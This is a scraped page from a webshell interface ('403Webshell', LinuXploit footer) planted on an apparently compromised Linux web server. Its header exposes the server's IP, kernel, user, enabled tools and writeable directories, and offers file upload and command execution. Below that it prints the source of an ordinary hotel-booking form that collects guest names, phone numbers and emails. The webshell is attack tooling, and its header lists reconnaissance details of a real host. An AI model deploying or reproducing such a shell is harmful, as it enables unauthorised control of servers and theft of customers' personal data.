403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/buyhotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/buyhotel/capture-passenger-details.phtml
<div class="panel panel-default ">
<!--                                        <div class="panel-heading">
                                            <h3 class="panel-title">Room <strong><?php echo $this->NO_OF_ROOMS; ?></strong> - Guest(S) - (<?php echo !empty($this->NO_OF_ADULTS) ? $this->NO_OF_ADULTS." Adult(S)" : ''; ?><?php echo !empty($this->NO_OF_CHILD) ? $this->NO_OF_CHILD." Child(S)" : ''; ?>)  
                                            </h3>                                            
                                        </div>-->
                                        <div class="panel-body no-padding-left no-padding-right panel-bg-color">
                                         <form name="memberForm" id="memberForm" method="post">
                                            <div class="col-md-8 no-padding"> 

                                                <div class="col-md-12 col-sm-12">
                                                    <div class="form-group form-group1 border-bottomSolid">
                                                        <label><strong>Name of guest</strong></label>      
                                                    </div>
                                                </div>

                                            <div class="col-md-6 col-sm-6">
                                                <label>Mobile No</label>
                                                <input type="text" id="mobilNo" maxlength="10" name="mobilNo" value="" class="form-control ">   
                                                <span id = "mobileexist" style = "display:none;color:red;">Mobile number already exist</span>	                     
                                            </div>
                                               
                                            <div class="col-md-6 col-sm-6">
                                                <label>Email ID</label>
                                                <input type="email" name="emailId" id="emailId" value="" class="form-control "> 
                                                 <span id = "emailexist" style = "display:none;color:red;">Email is already exist</span>                       
                                            </div>

                                            <div class="col-md-12 col-sm-12">
                                            <label>Relation</label>
                                                <select id="relation" name="relation" class="demo-default select-country" style="width: 120px;">
                                                    <?php 
                                                    if(!empty(unserialize(ARR_CUSTOMER_RELATION)) ){
                                                        foreach (unserialize(ARR_CUSTOMER_RELATION) as $key => $relation){ 
                                                            if($this->CustomerRelation == $key){
                                                                $selected = "selected";
                                                            }else{
                                                                $selected = "";
                                                            }
                                                    ?>
                                                        <option value="<?php echo $key; ?>"><?php echo $relation; ?></option>
                                                    <?php } } ?>
                                                </select> 
                                            </div>

                                            <div class="col-md-2 col-sm-2">
                                            <div class="form-group">
                                                <label>Salutation</label>
                                                <select id="salutation" name="salutation" class="demo-default select-country" style="width: 70px;">
                                                   <?php 
                                                    //asort(ARR_SALUTION);
                                                    if(!empty(unserialize(ARR_SALUTION)) ){
                                                        foreach (unserialize(ARR_SALUTION) as $key => $salutation){ 
                                                    ?>
                                                        <option value="<?php echo $key; ?>"><?php echo $salutation; ?></option>
                                                    <?php } } ?>
                                                </select> 
                                            </div>
                                            </div>
                                            <div class="col-md-5 col-sm-5">
                                                <div class="form-group">
                                                    <label>First Name</label>
                                                    <input type="text" name="firstName" id="firstName" value="" class="form-control whbg" />                       
                                                </div>
                                                </div>
                                            <div class="col-md-5 col-sm-5">
                                                <div class="form-group">
                                                    <label>Last Name</label>
                                                    <input type="text"  name="lastName" id="lastName" value="" class="form-control whbg">                       
                                                </div>
                                            </div>
                                            <div class="col-md-12 col-sm-12">
                                            <div class="form-group">
                                              <label>Special requests</label>
                                                <textarea cols="2"  name="special_req" id="special_req"  rows="5" class="form-control whbg"></textarea>
                                            </div>
                                            </div>
                                            <input type="hidden" name="customerId" id="customerId" value="" />
                                            <input type="hidden" name="intCustomerMemberSysId" id="intCustomerMemberSysId" value="" />
                                            <input type="hidden" name="iscustomerexistemail" id="iscustomerexistemail" class="iscustomerexistemail" value="1" />
                                            <input type="hidden" name="iscustomerexistmobile" id="iscustomerexistmobile" class="iscustomerexistmobile" value="0" />
                                            <input type="hidden" name="isExistCustomer" id="isExistCustomer" value="1" />

                                              <input type="hidden" name="TPSysId" id="TPSysId" value="<?php echo !empty($this->TPSysId)?$this->TPSysId:''; ?>" />
                                              <div class="col-md-12">
                                                <span class="small">Note : Meal/Seat preferences subject to availability.</span>
                                             </div> 
                                            </div>
                                          </form>
                                            <div class="col-md-4"> 
                                    <div class="col-md-12 no-padding"> 
                                	<div class="col-md-12 no-padding">
                                	<div class="form-group">
                                        <label class="col-md-12 no-padding"><strong>Search Customer</strong></label>
                                        <div class="col-md-12 no-padding">
                                        <div class="input-group">
                                            <input type="text" value="<?php echo $this->CustomerMobile; ?>" id="mobilNoSearch" onblur="getdetailfromemail();" maxlength="10" class="form-control" placeholder="Enter Mobile Number...">
                                            <span class="input-group-btn">
                                                <button class="btn btn-default" type="button"><i class="fa fa-search"></i></button>
                                            </span>
                                        </div>    
                                        </div>                   
                                    </div>
                                    </div>
                                    <div class="col-md-12 no-padding">
                                        <div class="setting-widget">
                                            <div class="setting-widget-header">
                                                <h5 class="ls-header">Your Customer List</h5>
                                                <span id="CUSTOMER_LIST_INPROCESS" style="padding-left:155px; top: 10px; position: absolute; display:none; ">
                                                    <img src="<?php echo $this->baseUrl('public/assets/images/ellipsis.gif'); ?>" />
                                                </span>
                                            </div>
                                            <div class="setting-widget-box" style="height: 250px; overflow: scroll;">
                                                <ul id="coustomer_members">
                                                    <li>
                                                        <label class="checkbox no-margin">No Details Available!</label>
                                                    </li>
                                                </ul>
                                            </div>
                                        </div>
                                    </div>
                                 </div>   
                                </div>
                                        </div>
                                    </div>
<script type="text/javascript">
 			$('.iCheck-helper').click(function () {
				alert(5);
			});
 
  $(document).ready(function(){

        $('#mobilNoSearch').click(function(){ //alert("HI")
            $('#mobilNo').val('');
        });

        $('#mobilNo').click(function(){
            //$('#mobilNoSearch').val('');
        });
  });
  
  
 <?php if(!empty($this->CustomerMobile)){?>   
        getdetailfromemail("<?php echo $this->CustomerMobile; ?>");
        
 <?php } ?> 
function ChkDuplicateEmail() {
    var emailID = $.trim($("#emailId").val());
    jQuery.ajax({
        url: '/customer/get-customer-detail',
        type: 'POST',
        dataType: 'json',
        data: {emailID: emailID},
        success: function (result) {
            //alert(result);
            if (result.status == 'success') {
				if(result.CustomerSysId!=''){
					$("#emailexist").show();
                	//$(".emailViewDetails").attr('href', reqUrl + '/customer/customer-profile/id/' + result.CustomerSysId);
				    $("#isExistCustomer").val(1);
					$("#iscustomerexistemail").val(1);
				} else{
					$("#emailexist").hide();
					$("#isExistCustomer").val(0);
					$("#iscustomerexistemail").val(0);
				}
				//$("#CRMCustSysId").val(result.CRMCustSysId);
				$("#customerId").val(result.CustomerSysId);
                //$("#emailID").focus();
                return false;
            } else {
                $("#emailexist").hide();
				$("#isExistCustomer").val(0);
				$("#iscustomerexistemail").val(0);
				//$("#CRMCustSysId").val('');
				$("#customerId").val('');
            }

        }
    });
}
function ChkDuplicateMobile() {
    var mobilenum = $.trim($("#mobilNo").val());
    if (mobilenum != '') {
        jQuery.ajax({
            url: '/customer/get-customer-detail',
            type: 'POST',
            dataType: 'json',
            data: {mobilenum: mobilenum,CRMCustSysId: ''},
			beforeSend:function(){
				//$().attr('disabled',true);
			},
            success: function (result) {
                if (result.status == 'success') {
				if(result.CustomerSysId!=''){
					$("#mobileexist").show();
                	//$(".mobileViewDetails").attr('href', reqUrl + '/customer/customer-profile/id/' + result.CustomerSysId);
					$("#iscustomerexistmobile").val(1);
				    $("#isExistCustomer").val(1);
				} else{
					 $("#mobileexist").hide();
					$("#isExistCustomer").val(0);
					$("#iscustomerexistmobile").val(0);
				}
				$("#customerId").val(result.CustomerSysId);
                 return false;
                }
                else {
                    $("#mobileexist").hide();
					$("#isExistCustomer").val(0);
					$("#iscustomerexistmobile").val(0);
					$("#customerId").val('');
                }
            }
        });
    }
}
function getdetailfromemail(suppliedMobile = ""){ 
   var mobilNo = $('#mobilNoSearch').val();
   var intMemberSysId = "<?php echo $this->intMemberSysId; ?>";
    var emailId = $.trim($('#emailId').val());
    if(mobilNo !="" || emailId !=""){
        $.ajax({
              url: '/buyhotel/guestdetail',
              data : { mobilNo : mobilNo,emailId : emailId,intMemberSysId:intMemberSysId },
              type: 'POST',
              dataType: 'json',
              beforeSend: function () {
                $("#CUSTOMER_LIST_INPROCESS").show();
				$("#memberForm")[0].reset();
              },
              success: function (response) {
                $("#CUSTOMER_LIST_INPROCESS").hide();
               if(response.status=='success'){
				/*$("#mobilNo").attr("disabled",true)
				$("#emailId").attr("disabled",true)
				$("#firstName").attr("disabled",true)
				$("#lastName").attr("disabled",true)*/
                $("#coustomer_members").html(response.data);
            }else{
				$("#coustomer_members").html(response.msg);
				$("#customerId").val('');
				$("#intCustomerMemberSysId").val('');
				/*$("#coustomer_members").html(response.msg);
				$("#mobilNo").removeAttr("disabled")
				$("#emailId").removeAttr("disabled")
				$("#firstName").removeAttr("disabled")
				$("#lastName").removeAttr("disabled")*/
            }
                 
            }
          });
          
        }
 }
function getSelectedCustMember(id,uid){
	var data=JSON.parse(decodeURIComponent($("#"+id).val()).replace(/\+/g,' '));
	console.log(data);
	//alert(data);
	var b=1;
	var validation=true;
	//$("#custMember_"+uid).prop('checked',false);
	var checkedornot=$("#custMember_"+uid).prop('checked');
	//$("#membersDetails_"+uid).parent().attr('class','icheckbox_flat');
	//alert(checkedornot);
	//when checkbox checked
		if(checkedornot==false){
			//alert("#custMemberSys_"+h+'/'+uid);
			//alert(data.FirstName);
			$(".custMember").each(function(){
					//alert($(this).attr('id'));
					var idchk="custMember_"+uid;
					var eachid=$(this).attr('id');
					//alert(idchk+"/"+eachid);
				if(idchk != eachid){
					$("#"+eachid).attr('checked',false);
					var parent = $("#"+eachid).parent();
					$("#"+eachid).parent().attr('class','icheckbox_flat');
				}else{
					var parent = $("#"+eachid).parent();
					$("#"+eachid).parent().attr('class','icheckbox_flat hover checked');
				}
			});

			$("#mobilNo").val(data.Contacts);
			$("#emailId").val(data.EmailId);
			$("#relation").val(data.Relation);
			$("#salutation").val(data.Title);
			$("#firstName").val(data.FirstName);
			$("#lastName").val(data.LastName);
			$("#customerId").val(data.CustomerSysId);
			$("#intCustomerMemberSysId").val(data.MemberSysId);
			
			//for relation
			var $select = $("#relation").selectize();
			var selectize = $select[0].selectize;
			selectize.setValue(data.Relation);

			//for salutation
			 var $select = $("#salutation").selectize();
			 var selectize = $select[0].selectize;
			 selectize.setValue(data.Title);
			$("#isExistCustomer").val(0);
			$("#iscustomerexistmobile").val(0);
			$("#iscustomerexistemail").val(0);
			return false;
		}
		if(validation==true){/*
			$(".custMember").each(function(){
					//alert($(this).attr('id'));
					var idchk="custMember_"+uid;
					var eachid=$(this).attr('id');
				if(idchk != idchk){
					$("#membersDetails_"+uid).attr('checked',false);
					var parent = $("#custMember_"+uid).parent();
					$("#custMember_"+uid).parent().attr('class','icheckbox_flat');
				}
			});
			
			$("#memberForm")[0].reset();
			$("#customerId").val('');
			var $select = $("#relation").selectize();
			var selectize = $select[0].selectize;
			selectize.setValue(0);

			//for salutation
			 var $select = $("#salutation").selectize();
			 var selectize = $select[0].selectize;
			 selectize.setValue(1);
			//alert('First You have to remove then you can select');
		*/}
		//$("#membersDetails_"+uid).parent().attr('class','icheckbox_flat');
}
function getCustomerMember(intMemberId){
     if(intMemberId != undefined && intMemberId != ""){
        var Mrelation = $("#Mrelation_"+intMemberId).val();
        var Mtitle = $("#Mtitle_"+intMemberId).val();
        var Mfirstname = $("#Mfirstname_"+intMemberId).val();
        var Mlastname = $("#Mlastname_"+intMemberId).val();
        
        
        var $select = $("#relation").selectize();
        var selectize = $select[0].selectize;
        selectize.setValue(Mrelation);

        var $select = $("#salutation").selectize();
        var selectize = $select[0].selectize;
        selectize.setValue($.trim(Mtitle));
        
        
        $('#firstName').val($.trim(Mfirstname));
        $('#lastName').val($.trim(Mlastname));
        $('#intCustomerMemberSysId').val(intMemberId);
        
        
        $(".custMember").attr("disabled","disabled");
        $("#custMember_"+intMemberId).removeAttr("disabled");
        
        
    }else{
        getdetailfromemail();
    }
        
    }
  <?php if(!empty($this->CustomerMobile)){?> 
    setTimeout(function(){
       getCustomerMember("<?php echo $this->intMemberSysId; ?>"); 
    },1000)
        
 <?php } ?> 
 
 function saveGuestDetails(){
    
    var firstName = $.trim($("#firstName").val());
    var lastName = $.trim($("#lastName").val());
    var mobilNo = $.trim($("#mobilNo").val());
    var emailId = $.trim($("#emailId").val());
    var special_req = $("#special_req").val();
    var customerId = $("#customerId").val();
    var intCustomerMemberSysId = $("#intCustomerMemberSysId").val();
    var isExistCustomer=$.trim($("#isExistCustomer").val());
	var iscustomerexistmobile=$.trim($("#iscustomerexistmobile").val());
	var iscustomerexistemail=$.trim($("#iscustomerexistemail").val());
   // var special_req = document.forms["getDetail"]["special_req"].value;
     var regex = /^[a-z]+$/i;
     //if(!(/^[a-z]+$/i.test(A)))
     var mobReg=/^[0-9]+$/i;
     var emailpat = /\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/i;
     if (mobilNo == null || mobilNo == "") {
        var mes = "Please Enter Mobile Name";
        alert(mes);
        $("#mobilNo").focus();
           return false;

    } 
    if(mobilNo.length < 10){
        var mes = "Please Enter Valid Mobile No.";
        alert(mes);
        $("#mobilNo").focus();
           return false;
    }
     if (!mobReg.test(mobilNo)) {
        var mes = "Mobile No Should be in Numbers";
        alert(mes);
        $("#mobilNo").focus();
           return false;
    }
	/*if(iscustomerexistmobile==1){
			alert('Mobile already exist');
			return false;
	}*/   
     if (emailId == null || emailId == "") {
        var mes = "Please Enter Email ID";
        alert(mes);
        $("#emailId").focus();
         return false;
    } 
    if (!emailpat.test(emailId)) {
         var mes = "Please enter correct email id";
        alert(mes);
        $("#emailId").focus();
           return false;
    }
	/*if(iscustomerexistemail==1){
			alert('Email already exist');
			return false;
	} */  
    if (firstName == null || firstName == "") {
        var mes = "Please Enter First Name";
        alert(mes);
        $("#firstName").focus();
           return false;

    } 
   /* if (!regex.test(firstName)) {
      
        var mes = "First Name should be in alpha";
        alert(mes);
        $("#firstName").focus();
        return false;
    }*/
     if (lastName == null || lastName == "") {
        var mes = "Please Enter Last Name";
        alert(mes);
        $("#lastName").focus();
           return false;

    } 
     /*if (!regex.test(lastName)) {
      
         var mes = "Last Name should be in alpha";
        alert(mes);
        $("#lastName").focus();
        return false;
    }*/
    var $select = $("#relation").selectize();
    var selectize = $select[0].selectize;
    var relation = selectize.getValue();
    
    var $select = $("#salutation").selectize();
    var selectize = $select[0].selectize;
    var initial = selectize.getValue();
  
    $.ajax({
        url: '/buyhotel/hotel-guest-detail',
        data : {customerId:customerId,intCustomerMemberSysId:intCustomerMemberSysId,relation:relation,initial : initial,firstName:firstName,lastName:lastName,mobilNo:mobilNo,emailId:emailId,specialReq:special_req },
        type: 'POST',
        dataType: 'json',
        beforeSend: function () {
            $('.modalloader').show();
            $("#save_guest").html("Please Wait...");
        },
        success: function (response) {
            //alert(response.success)
            if(response.success == '1'){
                location.href = "/buyhotel/hotel-review-booking/cid/"+response.cid+"/tid/"+response.tid+"/it_id/"+response.it_id;
            }else{
                $('.modalloader').hide();
                alert(response.msg);
                $("#save_guest").html("Proceed to Booking review");
            }
            
            
            

        }
    }); 
  
 } 
 </script>                                    

Youez - 2016 - github.com/yon3zu
LinuXploit